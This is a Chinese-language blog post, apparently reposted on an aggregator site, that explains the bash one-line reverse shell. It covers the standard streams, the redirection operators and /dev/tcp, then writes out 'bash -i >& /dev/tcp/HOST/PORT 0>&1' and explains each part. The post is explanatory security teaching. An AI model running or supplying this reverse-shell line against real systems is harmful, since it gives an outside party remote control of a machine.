带你读懂bash一句话反弹shell

Posted lesion__

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了带你读懂bash一句话反弹shell相关的知识,希望对你有一定的参考价值。

需要知道的linux知识

标准输入、标准输出、标准错误

在linux中输入一条命令会打开三个文件:标准输入、标准输出、标准错误。
在任何时候这个进程希望读取东西的时候都会从它的标准输入进行读取,在任何时候这个进程有输出的时候都会写入到标准输出,在任何时候这个进程有错误信息的时候都会写入到标准错误。

重定向

一般情况下,标准输入都是键盘,标准输出和标准错误都是显示器。
所谓的重定向,就是修改标准输入、标准输出、标准错误的读取或写入的对象。
常用的重定向操作符号有以下几个:

命令说明
command < file将command命令的输入重定向到 file。
command > file将command命令的输出重定向到 file。
command >> file将command命令的输出以追加的方式重定向到 file。
command 2> file将command命令的标准错误重定向到 file。
command 2>> file将command命令的标准错误以追加的方式重定向到 file。
command &> file将command命令的标准输出和标注错误都重定向到 file。
command >& file同上,一个含义。
m >& nm标识的 标准输入 \\ 标准输出 \\ 标准错误 重定向为n标识的的标准输入 \\ 标准输出 \\ 标准错误的去处。m、n取值0、1、2,分别表示标准输入、标准输出、标准错误。

/dev/tcp/

linux中有一个特殊的文件,以任何方式打开/dev/tcp/HOST/PORT都将向HOST/PORT发送tcp连接请求,读取该文件则表示从socket取其中的内容,写该文件则表示向socket发送内容。

不论是读还是写,其实都是进行了打开操作之后的动作。

bash一句话反弹shell

bash一句话反弹shell的内容是:

bash -i >& /dev/tcp/HOST/PORT 0>&1

bash -i开启了一个交互式的shell。
然后使用>&将标准输出和标准错误重定向到/dev/tcp/HOST/PORT。
最后使用0>&1将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到/dev/tcp/HOST/PORT。
总结下来,就是执行了bash -i进程,该进程的标准输入、标准输出、标准错误都是/dev/tcp/HOST/PORT。
其效果就是所有的输入和输出都来自于网络的另一端。

以上是关于带你读懂bash一句话反弹shell的主要内容,如果未能解决你的问题,请参考以下文章

一文带你读懂zookeeper在大数据生态的应用

分分钟带你读懂 ButterKnife 的源码

从源码入手,一文带你读懂Spring AOP面向切面编程

从源码入手,一文带你读懂Spring AOP面向切面编程

一文带你读懂Python中的进程

一文带你读懂Dockerfile